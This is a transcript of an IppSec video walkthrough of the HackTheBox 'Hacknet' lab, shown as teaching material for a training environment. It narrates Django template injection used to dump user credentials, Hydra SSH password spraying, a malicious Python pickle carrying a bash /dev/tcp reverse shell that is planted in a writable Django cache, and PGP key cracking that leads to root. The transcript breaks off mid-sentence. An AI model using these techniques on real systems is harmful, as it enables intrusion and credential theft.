HackTheBox - Hacknet

IppSec · Beginner ·🔧 Backend Engineering ·5mo ago

Key Takeaways

The video demonstrates a hack of the Hacknet box from Hack the Box, involving a SSTI vulnerability using the Django template engine, and various tools such as Wapalyzer, Nuclei, Burp Suite, and hydra. The hack requires exploiting a vulnerability to dump user data, cracking passwords, and gaining root access to the system.

Full Transcript

What's going on YouTube? This is IPSC and today we'll be doing Hacknet from Hack the Box which is a pretty tough medium box because the foothold involves a SSTI that serverside template injection vulnerability and it's using the Django template engine which is relatively secure when comparing to other template engines like Ginga 2. I can imagine people spending a lot of time just throwing every payload imaginable trying to get remote code execution which just isn't possible here. You need to take it slow and value the data gathered through recon. Eventually, we dump a list of users and passwords that lets us log in to SSH. And from here, we can exploit Django file-based caching to get access to another user that has some PGP keys that leads over to the root password. So, with that being said, let's just jump in. As always, we're going to start off with an end map. So, - SC for default scripts, SV enumerate versions VV for double verbose. This gives us things like the TTL OA output all format in the end map directory and call it hacknet. And then the IP address of 10101.85. This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22. And the banner tells us it's a Debian server. We also have HTTP on port 80. Its banner tells us it is running EngineX and also redirecting us over to hacknet.htb. So, let's go ahead and add this to our host file because we don't have DNS on hack the box. So, we'll edit Etsy host do 10185. Whoops, 86. There we go. Save that and we're going to go over to take a look at the page. So I'm going to go to http hacknet.htb and we get a social network for hackers. If I go over to wapalizer, it's just going to tell me engine x and um I guess it detects it as both a web server and a reverse proxy. But if I click on login and then look at again, it's going to identify that is Django. And the way it's doing this is just based upon the cookie. Um, let's go ahead and send this over to Burp Suite. Uh, that's on intercept. Uh, let's go Foxy proxy burp refresh. And we can see this uh curf token. Um, I want to say that's what it's detecting. Maybe it's detecting something else cuz let's see. Um, most Firefox extensions we can just unzip them and then see exactly how they work. Um, also I want to say Wapalizer is open source, but let's just go ahead and explore the plugin. um this way because I always find it interesting, right? I'm going to go over into my uh Firefox profile. If I go to extensions, then we can see Wapalizer. So, I'm just going to uh copy this Wapalizer over to my directory. Uh we were in hacknet, right? There we go. We go in this directory. I'm going to make a directory called temp. And then we're going to just extract this. So, we can extract it here. um 7zx. There we go. And this is going to be pretty much the same exact thing we could got from just GitHub wapalizer, right? But um sometimes the extension you want to look at isn't open source. So this is just something you can do, right? The XPI files are just zips. And we have the code here, right? If we go into the JS, we can see the JavaScript this web um thing uses, but in reality, it's going to use this technologies directory as a signature set. And then if we just cat stir and then pipe it over to jq, uh, let's do c, it's going to put each file on one giant line because each of these files is a list of things. So if I just do jq like this, now each entry is going to be on its own line. And now that is key because now I can just really lazily just g-- i jango. And then we can pipe it back over to jq. And now we have a list of all the um entries that have Django. So let's see. This one is looking for stylesheet alliance off. Definitely not. Um this is looking at Django Daphne. We haven't seen any of that. Um let's see. Cookies Django language. We haven't seen that. We have this DOM curf middleware token. I don't see that. Um, let's see. What else do we have? Mailman. I don't know exactly what it detected. Maybe this was a bad thing to dig into because it's not really related to the box. Um, let's see. We go over to login. What does this page look like? We have stylesheet, jQuery, a login pre Oh, we do have it. It is in the DOM. we have curve middleware token right here. So this is going to be something specific to Django. Um it always uses this cookie name or parameter name. So that is how Wapalyzer is detecting it. I thought it was based upon cookie but it's an element based in the DOM and if we look at this if we go up um it does tell us that right? Yeah. So there we go. It's looking for input field and curve made aware token. So that's how Wapalyzer identifies it. And nuclei is kind of the same way, right? This is why I like doing these tangents because if I just did nuclei um I forget exactly all this syntax I would be using. I want to say it starts with target and then we can do hacknet htb follow redirects make it silent and then put it in headless mode. So I'm going to let this run and then we're going to take a look at the results and see if it identifies Django. I don't think it does because it's not like um crawling all these links like we see extract URLs. It's just looking at these URLs. I don't think uh Nucleus is actually hitting the URLs. And there may be a flag that we can use to um do this, but I did not see it in the help file and I'm not a nuclei expert. But these are the type of things I look at when I'm playing with new tools in a CTF environment, right? I'm looking at all these um various quirks that could cause me to miss something in the recon stage and this is definitely one of them. Right? If I'm depending on nuclei to identify all the like frameworks that is being used, I need to know what type of pages to um send to it because in this I'm assuming it's not going to find Django because it never hits this login uh page that it found. And if I was just putting this in a database looking for specific Django vulnerabilities, then this page would just be missed. I have to get it to a page where there is a input form. So it sees that CS surf middleware token because I think that's how Nuclear is also finding it. So I'm going to pause the video. We'll resume once this is done. And then I'm going to do it again and give it the login page. Okay, it took a couple of minutes, but Nuclear is now finished and we're not seeing any reference to Django, right? So, what I'm going to do is just give it the login page. So, if we do just just do /lo and now hopefully it will do a um technology detect on the Django, it's probably going to hit that curve midware token just like Wapalizer did. So, there we go. We've extracted log um URLs from the login page and let's see if it flags it anytime soon. I'm probably gonna pause the video if it's not within the next like five or 10 seconds. So, um, yeah, and now it's starting to detect various things. We have it detecting some cookies without HTTP only and secure. And then it's now detecting the engine X. Let's see what the next thing is. Looks like it started SSH enumeration. So maybe it's not going to detect Django. I'm not positive. I was pretty sure it should be able to detect this. Um, okay. After probably another 10, 15 seconds, it does detect Django here. So, normally when I'm passing things to nuclei, I'm probably just going to um always make sure I pass it a page that has maybe input boxes or cookies or something like that. Give it a page that has the most um information possible for it to work with. And maybe look along online to see if there's a way to have it like crawl at a depth of one so it just hits various links and then you'd be able to just give it the um main page. But this doesn't really give us anything. I thought it was just a fun little side quest. So, let's go ahead and go back and take a look at the page. So, we're at the login. We can create an account. So, I'm just going to click there to register. And we can turn the proxy intercept off. And I'll do root atsec.rocks. And then we'll use ipsack for a username and password for a password. And then click on sign up. Uh, we don't want to save. Uh, did it sign up? Let's go history postregister. It looks like we did sign up. I guess maybe Oh, it says user created. It just didn't take us back over to the login page, which is annoying, but let's go ahead and do this. Root at ipsseack.rocks. And then we'll do the password of password and get logged in. So, we have profile, contacts, messages, search, um, and explorer. So, this kind of looks like a um Twitter clone or something like that. So, the first thing I always like doing is just testing for like server side template injection. So, SSTI. We can put this in, click send. Um, click around the page. There is a likes, comments. We could potentially delete. Um, can click send. We can also look at changing our username. Inputting the SSTI there. There is a multiffactor field here. I don't know what this is. Maybe that's a bio field. Um, it's not really labeled well. But if we click save and then let's go ahead and go back. Let's see. Refresh. Doesn't look like there's template injection there. And if we click on likes when we like something, we see something went wrong. So before it showed our avatar, but now it's just saying something went wrong there. If we go over to let's go, what was it? um explore. If I look at likes, let's see. We get a list of everyone. Now we like it. And what do we get? Something went wrong. So I think it's pretty definitive that putting our SSTI payload into a profile um did something right. It's very odd that it's behaving that way, but also um this is like Ginger 2 syntax. A lot of Django uses the Django template engine which is um a lot stricter and a lot more secure. Um it doesn't have a lot of these like eval capabilities. It's based upon context. So when you're calling the template in the Django code, you give it the variables you want it to have access to and it only has access to those. Right? So unlike Ginga, we can't just create this weird uh payload that will magically get code execution. So I'm going to Google payload all the things. And with this, we're going to look at what it thinks about Django SSTI to see if there's anything fun we can do. Right. So, this is one of the um pages I really like. Let's go over to uh serverside template injection uh Python. Let's see if they have anything specific. We do have Django. So, this will error. Um that should print that I guess. Uh this will cause errors with Ginga 2. So we got cross- sight scripting potentially. So maybe we could um try this. So if I put here, is it actually going to do Oh, server error 500. It did not like that. Um let's see. Maybe it is the um single quotes it doesn't like. So I'm just going to remove those server 500 error still. Uh, let's go with let's see if it's the length. So, I'm going to do echo. Put this in WC- C. It is uh 31 characters long. So, let's do Python 3- C a time 32. Uh, we need of course a print. That would help. So now I'm just printing a bunch of A's and we're going to see if this gives it. So it looks like there is some type of field length on the username. I don't know what that is, but that is what's blocking us from doing this Django cross-ite scripting. We have this debug information link. So let's go ahead and do this. And I'm assuming this will only work if we're in debug mode. So let's go back. Was it profile? Where is it? Here. Let's just go into intercept on likes and we're going to make this easier to see. So, we don't have anything here. So, it doesn't look like that worked. I'm guessing the web app is just not in debug mode, but we can keep playing with this. Let's see if there's any other payloads here. Uh, this probably too long. Messages, stoages, serer key. Let's just try this. Uh, let's go back here. Paste server 500. Let's just see if we can get messages out, right? Let's do save. And then we can go into Burpswuite. And there we go. So, we do have Django template injection. We're very limited on the space we can have. And as I said, there are um only the variables that have been passed to this page we can access. So, this could be default Django things. It could also just be um various variables that are passed, maybe like usernames, things like that that are on the page. I'm guessing definitely usernames because when we clicked likes, we saw a list of users, right? But I'm going to build a script to kind of brute force this. So, let's go. Let's make their scripts. Uh let's go in here. And then I'm going to open up uh Visual Studio Code. And let's see. Uh, I should have created a file real quick. Touch enum.py, I guess I'll call it. And then we can go in here. And now we can start the script. So what we're going to do is have a Python script change our username in the profile and then hit that likes page and tell us if the variable exists. So we're going to do a import a request so we can actually make the um request and then the check string this is going to be the page we actually hit is going to be let's see um likes 29. So we can do slash likes 29 and let's do cookies and we have to give it the what is it curve token and session ID so we can paste this go like that. I probably should have just used AI to autocomplete it but oh well this won't take too long. There we go. So now we have the check string, the cookies. Um, let's do edit profile and this is going to be let's just go ahead and go back here. Where is intercept? Make sure we're on proxy is on. We can for those. And let's do test. Save this. And this is going to be slashpriedit. There we go. And base URL is equal to http hacknet http. That should be fine. Okay. So let's go ahead and create something. I'm going to call it check variable. And then we'll give it var name. And that's going to be a string. and we're going to return a boolean. So let's create the URL. So URL is equal to F base URL and then we want the edit profile because first we have to change our profile. And then I'm just going to do data and it is in like a um form which is a bit annoying. I'm going to try just giving it the variables we need and then we'll try to give it all variables if it doesn't work. So, cur middleware token and hopefully you don't have to keep grabbing this token and um making sure it's correct because that is also going to be annoying. And then what is the next one is username. So, I'm going to give it username and then we will do the SSTI payload. And I could use a um like that f string, but it's a pain to escape the uh brackets. I think we have to do like four and it just is annoying. So that's why I'm just doing the concatenation like this. So that is the data. So let's do request. That looks fine. And then that's weird. Um return uh let's just print and we'll do response.ext text. There we go. Return true, I guess. And if name, let's do print. Uh, we can just do check variable. Check variable. And we'll use uh what was the one message? It came true. So, let's try this um python 3 anom.py. Pi a nume has maybe we shouldn't call it a nume. Um let's move a nume to I'll call it dump.py. There we go. Python 3 dump. And we get a server 500 error. Uh that's probably going to be because we have the wrong form. And this could be we're giving it um URL encoded and it wants a giant form like this that's a pain to create. Or it could just be we're not giving it all the variables it expects. So I'm just going to give it a bunch of um variables. This is stupidly common on like automated um things. I don't know exactly why, but it is. And then we want is public. I guess is publicly doesn't matter that much, but we'll leave it at on. Let's see. I think I got all the variables. Let's go dump. And we get profile updated. So, it looks like we have successfully updated it. If I go back here, it was test. I'm going to turn burpuite off and resend. Um, now it's messages. So, now we can update our profile. So, let's see. We're going to do this and I'm going to say if response status code is not 200, we're going to raise an exception. Um, rename user failed. I guess that should be fine. And now what we need to do is um make the request to our likes, right? This is going to be this. So check string. Let's change the URL. So, we're going to go URL is equal to F like that. Like that. And then I want to print response.ext. So, let's make sure this works. Run this. Uh, that is blank. Was it messages? There we go. So, here we go. we have the title being something. So what we want to do is just say, hey, if the title is blank, then it probably does not exist as a variable, right? So I'm going to say if uh let's do this in single quotes because we have a double quote there. In response, let's say return false then return true. So if the title is blank, then we're going to return false. Otherwise, we're going to return true. So now we can just do a print here. And this hopefully will return true. It does. Now we're going to do something that does not exist. And this should return false. Right. There we go. So now we have a way to um Oh, that is way too big. Hopefully the size is fine. But we have a way to enumerate these variables. So what I want to do is loop through something. So let's find a word list to use. So I'm going to go opt uh seclist discovery variables. And I'm going to try secret keywords. Maybe that's good. Um let's see. Yeah, let's just try that real quick. So for line in open this I'll do l is equal to line.strip if check variable found run. We probably should do a try catch because if we ever hit this exception um it's going to crash. So we have access token API key. Let's see client secret. So it looks like it is dumping. Let's see how many things are in this. So we do ls wc-l 69 words. Uh encryption key s. I wonder if dashes are just causing some type of issue. Um let's try setting this real quick. We'll do secret key. What happens here? Because some of those didn't look correct to me. So, we probably have some type of bug. The question is, does that bug really matter? So, we do this. Uh, something went wrong. So, let's see. Let's just copy this. Is that a 200? It is. I wish that was an actual error. Um, let's see if title in response.ext text return false. If something went wrong, return false. I probably should do an or statement, but I think that's fine as well. So, that is also um working. Let's see. Is there any other better word list we can use? So, let's go optlist. And I'm going to search for files with variable in it. And let's see. I don't want environment variables. Um, let's try API actions endpoints. Um, let's see. We probably want just lowerase things, right? Let's try discovery web content objects lowercase. This may be fine. Uh, first, how many lines is this? 98. Since we're not doing any type of threading and we can't do threading here, um I'm very cautious about like the size of word list I use. So, um the reason we can't do threading is this like a second order thing. If we had multiple um scripts running, it would edit the profile and then it would edit the profile again and then it would check the page and in that time we'd miss one, right? It would just not be reliable. So that's why we can't do any type of threading here unless we had like a list of users. Uh we found one variable already that is messages. That's the one I think we knew about, right? So that's not too surprising there. Let's see if it finds anything else. Um user and users. So let's go ahead and take a look at user. So let's do this and then user. Hit save. I'm going to go over to Burp. Go here. We have title anonymous user. What if I did users? So, let's go back here. Users. Save. And we have a query set of users. So, we can probably dump this. Um, let's see. What do we want to do? Uh, let's go. We can't use the size because I'd like to do like a 4 in user, but there's like a length of 32 or whatever we um can use. So, we have to keep our payload relatively small. What if I do users values? Will this dump everything? There we go. We have um query set email root. So, it looks like it is dumping it. Um, we have this weird stupid encoding. Um, will burp decoder actually do something good? It does. Awesome. Uh, I'll copy this into another window. So, we have the size. Let's see. So, we have email, username. Oh, the password is in plain text. And yeah, so I wonder if we did this on a different post if we'd get different data. Um because in this if we go back to what was it um explorer or we did it on a profile we only have one like here and like I said Django is going to build a context of what variables it can show since only I am on this like and it's pulling it it's probably only sending my single user to this. So if we go to something that has a lot of likes. So, we did this with um 10. Uh what is this? Uh I wish I could just see the URL quickly. Let's go to Burp. Uh proxy. Turn it off. On. Send this over here. And let's see. 29 28. Did I not like this? See, I thought I would see it, right? It's not showing me liking it. Maybe I unliked it before I could do this. 25 28. Let's see. I'm just going to like a few. And it's not showing me the stupid URL that is really annoying. So, let's go here. Here. Oh, that one looks like it may have failed. Lakes 22. Do we see anything? What is my user? Maybe my user is not what I think it is. Title 1029. So I think my profile is just blank. So let's go back here. Uh profile it is back to test. Uh users dot what did I do? Values. I don't know why it was test. Maybe I sent something that I did not expect. There we go. That works. Go here. Okay. So my username was just reverted or something. I'm guessing I had a payload in the proxy and when I turn intercept off, it sent and that's what um ended up screwing me over. But here we go. Let's do smart decode. And then we can go here, paste. And we have a lot of data. Um let's do vt.json paste. And let's see, we can delete one from there. And let's go home. One, two, three, four, five, six, seven, eight, nine, nine there. Or 10. It was either nine or 10 there. t.json jq dot. Ah, this is not JSON because those are single quotes. This is probably going to screw it up. We'll see. Yeah, unfortunately, this is not JSON data, but we can get a list of users here. Um, it's a bit hard to parse, but I want to get every user, right? Because this was just potentially nine users. Um, I'm guessing we are, uh, 28. And I say 28 because if I go back into my repeater, um, oh, we may be 29 or 27. I don't know what user we are. I see 27 there. I get likes 29. So, this is probably the 29th post. Um, we're probably the 27th user on this site, right? because I'm guessing this is incremental. Um, uh, ID 27, email route. Yeah, we're the 27th user. So, I'm going to change our script up slightly. And what I want to do is go through every single um, page. So, we're going to go probably one to 30 of this like, then hit it and grab all the users. And that will hopefully get me every user that's ever liked something on this. And uh we may get a good credential there. So first let's see exactly how to do a like. So if we go we can just go back to profile and then turn burp on. Let's go to proxy. Hit like and we send a get to like 29 and it's just up bonds with success. So, I'm guessing if it it just changes it from true to false probably. So, we need to go back to our script and we're going to edit this slightly. So, let's see. We have check variable here. I'm going to create um let's see what do we want to call this. I can just call it uh dump. And then we're going to say uh what is it? And call it page ID. And that would be an integer. And then we're going to give back a um I don't know exactly what we're going to give back yet. We'll come to that in a bit. So let's see. The first thing we have to do is like. So let's go back here. And then I'm going to call this like string, I guess. And that was just like this. actually um we'll just put that in the code because it's not a constant. Uh let's just delete everything here to make it a little bit simpler. And I hate that it's trying to autocomplete. Um the first thing we need to do is I'm going to get the page of base URL. Don't want to autocomplete everything. I wish I had knew the hockey just turned this off right away. Um so what do we want to do? We want to get was it likes and then page ID. Yeah, that should be fine. And then we're going to do this. We don't need to pass any data. And let's see. What we want to do is make sure we have liked the page. So, let's go. Where is it? Likes 10. I'm going to close a few of these out. So, we're on 29. And right now we don't like the post I'm assuming. So I'm going to do this. And I think this just made it so I like the post. And we look and then I have this string in. So let's go up and uh this should have been like check URL, not check string. Let's do check URL. Uh it's even bad now because we're going to be changing it. Um, I'm gonna call it check string and do this just so we can easily change it later. Not the greatest code, but it'll work. So, we can say if check string not in response.ext. What we want to do now is like the page. So, we'll do request.get and we'll call it response is equal to URL cookies and We'll just make this. So, we'll do f um what is it? Base URL slash like page ID. I probably should have put that in a variable, but that should be fine. And let's see. We should definitely now have check string in. So, what we want to do, I'll just print this real quick. Print um response.ext and we probably should rename this. I'm going to call it dump user. I don't want to call it dump because my script is named dump and I think weird things happen. So I'm going to do dump user. Uh am I using 29? I am. So, I just want to run this twice and make sure it works. Uh, let's do what was the directory scripts Python 3 dump. Okay, we have the like review. So, what I want to do is run it again. It works. And now I want to unlike the page. So, I'm going to go here. We have unliked it. So, now we have nothing here. It should just print nothing. Oh, it prints success. What? Oh, because we did that. Um, there we go. And this is where we test our code while we're doing it. So now, no matter what, um, we're always going to get the user back. I guess if the page errors, we're going to, um, be screwed. But this way if we don't um like the I guess comment already then it'll go ahead and like it and then um set response to what we expect. So what we have to do here is now grab this. So I'm going to copy this. So let's do a copy. Go back here. And this is the response right now. So in a div profile image title. Okay. So this is essentially what I want. Oh god. No AI. So we have two options really to go down. There's probably more, but the two easy ways is either we could write a regular expression that looks for like profile 27, then grabs the entry and title. The other is using beautiful soup. I think the regax would be quicker, honestly, but um everyone complains that I don't use beautiful soup enough. So, that's what we're going to do. So, I'm going to do from BS4 import beautiful soup. And that's just going to convert the page into something that's easily like I guess codified or something. So I can do soup is equal to this. I'm going to parse it with the HTML parser. And now what we want to do is find a link. So I'm going to do link is equal to soup.find. And it completed it for me. So we're going to find any link that goes to what our check string is. And our check string is the uh profile 27. So that's our like, right? So from this I'm going to say if the link is not found I'm going to raise an exception could not find link that's fine. I don't know exactly what our autocomplete is trying to do. Um so in here we have to grab the image. So we'll do link.find next image because we just want to grab the first one. And then um let's print image here real quick. So now when I run this, there we go. Now we want to grab that title. So we can say um image, what is it? Attributes then title, right? We print. Awesome. And now we don't want to get um query set space and that. So, let's see if we do I think it was nine and then chop off the last character. Awesome. Maybe it's 10. Let's do 10 here. Okay. Can we do like a JSON loads on that? Let's do JSON loads. Let's see. JSON. Uh, no, because it doesn't like the stupid single quotes. I'm guessing that's annoying. Um, we could probably do an abstract tree. So, let's try. This is probably really stupid, but it works. It works. There we go. So, now this is going to be in a dictionary format, which is good. Um, so let's see. We're going to say return this. Awesome. So in here, I'm going to do users is equal to a dictionary and I'm going to say for in range uh 1 through 30. So that should get up to like 29. I'm going to say uh sure users is equal to dump user I and then I don't know if that is correct. So, what I'm going to say is print user and we'll do ID. I just want to see if it prints this. And we'll do two first real quick. Uh, it wants it in quotes. That is fine. Um, let's see. This did not work for I dump user. Don't want that. Print user. Uh, we screwed something up. Fail to dump. List indices must be integer slices, not string. Did it fail on that? It did. Oh, this is probably a list for user and users. Print user ID. There we go. So now what we can do is um do output say output user id is equal to user. So why we're doing it in this dictionary is to make sure it's unique, right? I guess I could have used like a set, but a key dictionary is just fine. So this way if we hit the same user ID twice, it doesn't add it to our dictionary twice, right? it's going to be unique because it's keyed here. So that looks fine. And then we want to say um for you in output values print let's do um you email then username password that should be fine. So let's try this. And there we go. We have a list. And this is only going through the first one. So if we add 30 here, we should get a giant list of users. And I'm going to change the T. We're just going to put it in colon. There we go. Uh let's do T output.ext. And this would probably take about a minute or so to run. Again, we can't really speed it up with threading or things like that because um it requires editing the profile then checking a like, right? Um if we did threading, we would have to have multiple users and that would get Oh, it's already finished. Well, it didn't take long at all. But there we go. We have a list of users. If I cat output.ext WC-L, we have 28. So, let's go ahead and um create a user password list output. So if I do cat then we can say a d-f on colons and we can do print two three. There we go. And we'll call it creds.ext. And let's go ahead and run hydra at this point. So I'm going to do hydra- c for combination. Kreds.ext ssh 1010 1185 was the IP address. And I know you could use crackmap exec, but crackmap exec threading works based upon um host. It doesn't work based upon word list, right? So it's going to be much slower going through crackmap exec because it only tries one at a time. And here it just did not work. Um if we cat let's see gruds.ext there is oh what was it? Output.ext. We do have um these accounts hacknet.h HTB. We could try logging in. And oddly enough, um, this is gonna be funny. It just doesn't work on the box. But when I was doing this the first time, I'm looking at deep dive. Hold on. Um, I guess we have to run the script again. Uh, what was it? 2FA, I want to say. Let's see. Hold on. 2FA. Yep, there it is. So, let's also output that real quick to our script. Um, we can do colon u to FA, right? I think that's it. Two FA. That should be fine. Can te that. And I probably should have um done into our new file. Oh well. um we see 2FA is actually enabled for these accounts. So when I was doing it I was like okay um let's go ahead and see if there's any like two factor vulnerability exploits here right if I do log out of we are intercepting disable log out log in deep dive is the user uh we have to do deep dive at hacknet.htb HTTP. So, let's go ahead and grab this paste and then the user the 2FA doesn't actually work. So, um there's nothing really here. We could try dumping all the messages, but we don't really get anything there. So, I'm not going to build something that logs into all the users to dump messages. That's something you could do on your own time. Uh the thing to keep track of is uh the username and email is not always the same. So we have Mickey at hacknet.htb and backdoor bandit. Right? So what we want to do is um create another word list and this time just um go with the uh username and then password here but taking the username from the email. So I'm going to go back to the command I ran before. I'm going to do a one and then we'll also just append to creds. So if I look at creds, we have a bunch of emails as well. So I'm just going to use said and I'm going to do a really lazy way to remove this. I'm going to do um this. Yeah, we're going to go up to the colon and then replace it with a colon. That should be fine. G. So if I look at it, uh, that did not work. There we go. So now we have removed all the emails. So if I do dash I, now let's run this hydra command again. And hopefully this time it actually uh will get us a credential here. So let's see. I probably should put it in like verbose so we can see it actually working. But it doesn't take too long, right? Last time it just finished as I was talking. And there we go. We have a SSH credential of Mikey and we have my dark side is here is the password. So let's SSH. So we SSH Mikey at 1010 11185 and then put in the password which was on my clipboard. And let's see what we have. We have user.ext. If we do pseudo-l. It's one of the things I always like testing for. Um we can't run anything. Looking at this, let's see. Find cache. Is there anything here? That looks like pip. Um, let's see. Config. Nothing really sticks out here. This looks like Python stuff. We look at what's running on the box. We can't. And that's probably because the hide pit option is enabled on uh proc, right? Yep, there we go. Hide pit 2. So, we can't see processes running by other users. Um, so let's go ahead and take a look at the EngineX config. And I'm doing this because I want to see uh where the website is. Can we look at the website source code? Because we didn't get rce on the website. We just got um the password. Right. So I want to um see if there's anything else we can get from this. So we can look at it. Static as in root varacknet. So, let's go here and then let's see. Um, it is owned by Sandy, which is another user on this box. I guess there is backup. So, if I go into backups, um, we can read everything, but it looks like they are probably PGP encrypted. Uh, if we do cat backups this, uh, yeah, uh, type reset, uh, or EC. There we go. That fixed my terminal. So, let's see what else do we have. Uh there is a database. If we have SQL83, we don't have that on the box. Uh we can just strings the DB and that's empty. So it's probably using like MySQL or something. If we do a list of ports, we have 3306. So let's look at the settings.py. So let's see what do we have here. Um installed apps, middleware, templates. Here we go. We have Sandy and then Sandy's pass Hacknet DB pass. So, I'm just going to copy this and let's see what else we have. Uh, we have a filebased cache. And I'll get to this later, but I always like looking at the database first, right? So, let's do um first let's test this password on Sandy. See if we can just switch to that user. Um, does not look like it. So, let's do MySQL-U Sandy-P. Put in this password. Uh, show databases. Um, if I can type. There we go. Use hacknet. Show tables. And then we have this social user. And this is probably going to be um kind of the table we dumped, right? I forgot the from. And this isn't really a Django way to do it, right? They're creating their own users table. One of the benefits to Django is it gives you the whole framework to do everything you want, right? So it gives you like the whole um user thing. So if I do a select star from off user, this is probably just going to get system users and we have one that has um a hash. I'm not going to go into cracking this because it doesn't really get us anything and it would probably waste about 10 minutes. Um, the one thing we never really showed or talked about, I think, is with Django, there normally is a /admin URL or it's administrator. I forget which one, but that doesn't exist here because the web application is um hiding it. But I would normally go ahead and crack this and see if we get anything. We could also do um where is this? the social user say describe and then select what username password from social network social user and then see if we got any um new passwords here right maybe looking for Sandy but this doesn't really get you anything but it's some type of of recon I would always be doing um the one thing I wanted to come back to though is the uh cache, right? U I want to go with this cache. There we go. So, Django is using a file-based cache to vertemp Django cache. Let's look at this directory. So, if I go into the directory lsla, there's nothing here. If we look at the permissions the directory, it is 777. So, any file here, we can modify. Um, if we don't have permission to it, we can just move the file to a new thing because we control the directory. Um, but we have to figure out exactly why that cache is not working. Um, we couldn't at this point go and Google stuff like uh filebase cache Django exploit if I can type. I did this in Google before and I know I got good results. Let's see. Here is a Django cache poisoner. Um, that's not giving us much information. What if I do this? I think this repo is decent. Yeah. So, it's talking about it. To cache a page on the um forget what this is called, but the endpoint that defines the um web endpoint, you just do at@ cache page use this decorator and that's going to cache it for one minute. I think this is in seconds, right? So, and the cache is just going to be a pickle. Um, if we look at this, how is it creating it? Um, I don't know exactly what it's doing, but Django caches things in Python pickle format. So, let's go ahead and look at where this cache is. So, we can do var dubdubdub hacknet and see if anywhere it does this. So, I'm going to do gp at cache. I think that was the right one. - R. There we go. So, it's in social network views. If we look cache page 60 on explore. So on explorer, it's going to cache that page. So let's do verte uh Django cache. Then we want to hit explore. So let's just go here explore and then ls. Now we have Django caches. If we do a lsla, it is read write by Sandy. So we can't edit this or can't um view it. But again, because we control the directory, we can move it to something else. So we can do a move and then goback. And now we could just create a new file here, right? And then when it goes and does this ideally um it would lur pickle. It looks like it just wrote a new cache there. I wonder if this is the cache. There's two of them. I don't know which is which. But let's do this touch. I was expecting it to like error out, but it may just create a new cache if um it errors. But there we go. Uh I was hoping also us touching that file would give us the ownership, but it looks like it removed the cache when it aired and then created a new one. So, we can't read or write to it. And we got a bunch of things here. But, um, what do we want to do? We want to create a script that is going to rename the cache for us. And, um, put a pickle in. So, let's do vm devshm. U, uh, I'll call it exploit.py. So, v exploit.py. I'm gonna grab this directory and I'm just going to put this as a comment so we know where the files are. So let's see what we want to do is import pickle and in order to exploit the pickle or create a malicious one we just have to create a object which is a class. So I'm going to call it pone. And then the reduce method is what will get called when it tries to load the pickle. So we just um create a custom reduce and what we want to say is return. We'll return os.system and then I'm going to do bash- c bash- i dev tcp 1010 148 91 and one like that. Close that. Close that. Close that. Close that. And I want to say we need a comma at the end here. And we can say payload is equal to pickle.dumps per pound. Um, my arrow keys aren't working. There we go. Let's see. Python 3 exploit.py Pi OS is not defined. Import OS. There we go. So that creates the pickle. So what we want to do here is now do for file in OS.listister. We can say vertemp Django cache. And we are going to um say target is equal to I guess I'll do an fst string here. I should have just made this a variable so don't have to keep typing it but oh well. Uh Django cache file. So that's going to be the full path of the file. We're going to call rename because we can't just overwrite the file, right? Um if we just try to write to it, it's read write. So we can't do anything. We have to rename it first. So we're going to do rename target and then target and we'll appendback. And now we can write. So let's do with open target. We're going to write a binary. We can say f.right payload. So let's try this out. So if we do lsvar tempjango cache, we only have our two backup files, which is annoying. We can't remove those. But if we refresh, we have our two dcash files, right? Um, why is it Are they gone already? That was weird. Refresh. Okay, we have them there. So what we want to do is run our exploit. And now we have them created by Mikey. And this is going to be our pickle, right? So let's go ahead and say Python uh NCLVMP 90001. So we listen, refresh this page, and there we go. It goes and loads the page from cache, which is our pickle, which then gets us a reverse shell. So we can do Python 3- C import pty pty spawn bin bash stty raw minus echo foreground. There we go. And we can say export term is equal to xterm which will enable us to clear the screen. And Sandy was able to read the backups, right? Or I think anyone could read the backups, right? Yeah, anyone could read them, but they are PGP encrypted. So, a lot of times PGP keys will be stored in a profile, right? So, it's probably going to be in GNU PG and then let's see, private keys. And I'm guessing it's going to be one of these. So, I bet if we did GPG import options, show only, we only want to see the key. I'm going to do armored key.asc. And this says Sandy, her key for backups. So, this is going to be the key that is used for Sandy backups. At least that's the description. So, what we're going to do is grab this key and then we can try cracking it. So, I'm going to what I guess there's a cleanup script like removing this directory and recreating it, which is slightly annoying, but we can grab this file and then copy it to our own box. So, V I'm going to call it Sandy. Paste. And then what is it? GPG to John. There we go. And we will go ahead and copy this. And then I want to go over to the Kraken, which is just a box on my local network. Uh you can crack on your host machine. I wouldn't recommend cracking on a VM just because it's CPU intensive or GPU intensive and it goes very slow on VMs. Uh let's do vhashes. And what do we want to call this? Hacknet.pgp or I did PHP by typo. Oh, well, that's fine. Um, I wonder if we need that description. I wonder if this is going to even just work. I know this is always somewhat um picky. I know this format doesn't work uh out of the box. So, I'm going to give it the word list and see if it auto detects this. It may have to give the username flag. Um, yeah. So, let's do d- username because it was Sandy colon then the hash. And this may work. Uh, does not steal the hashes. Uh, what was this? Hacknet. See, let me get rid of the description. I bet GPG to John has some type of option to do this. uh GPG to John. Let's give it a mode 17010 dash help. I guess it doesn't have arguments, but it looks like it is starting to crack. So, let's see. How long does this say it can take? Um, probably some time, right? Hopefully it cracks it relatively quickly. Uh, what mode did I use? GPG. This definitely looks like it should work. Uh, could take up to 27 minutes, but it is already done. So, let's get rid of the word list and then do D-shell. We probably have to have the mode as well. Um, mode 17010 and the password is sweetheart. So let's go back to the box and see if we can decrypt some files. So we're Sandy. So let's go into uh was it var dubdubdub hacknet and then we want to go in backups and let's see I'm going to try gpg d- decrypt backup01.sql SQL and we'll put it in temp. Put in the password of sweetheart. And it looks like it decrypted it. So, let's do O2. Uh, my terminal is wonky stdy- a 26121 sty rows 26 calls 121. That should fix it. So we can easily do this. Decrypt two. No secret key. Did that actually do something? This import show only. Uh what was it? GNU PG private keys. Apparently that does something. I did not know that, but I guess show only. Maybe I have a typer there or something. But that loads the GPG key to my profile. I wonder if I dropped an SSH key then logged in if it would do that stuff automatically. Um, it may have just done that because I'm in this weird shell. So, I had to tell GPG to load. And then there's my keys. It seems like there is a cron that just rebuilds this directory every couple minutes. So maybe it loaded and then the directory got rebuilt and it lost its place. So it had to reload it again. Something weird happened. But um we have all the backups written. So let's look at what they are. So I'm going to do cat backup 01 and they're SQL backup. So let's just do gp-- I password star what I call it. Did I do back? SQL. Okay, let's see. Where can we go? Reducing the time. Looking here, we see um talking about root password. What kind of changes you planning? So, this looks like messages. Um, and they're saying the root password is this. So, let's grab this. And I don't know if it has the period or not, but we'll try both. So, we'll try it. It looks like it failed with the period. So, let's do it without. And there we go. We get in as root. So, that is going to be the 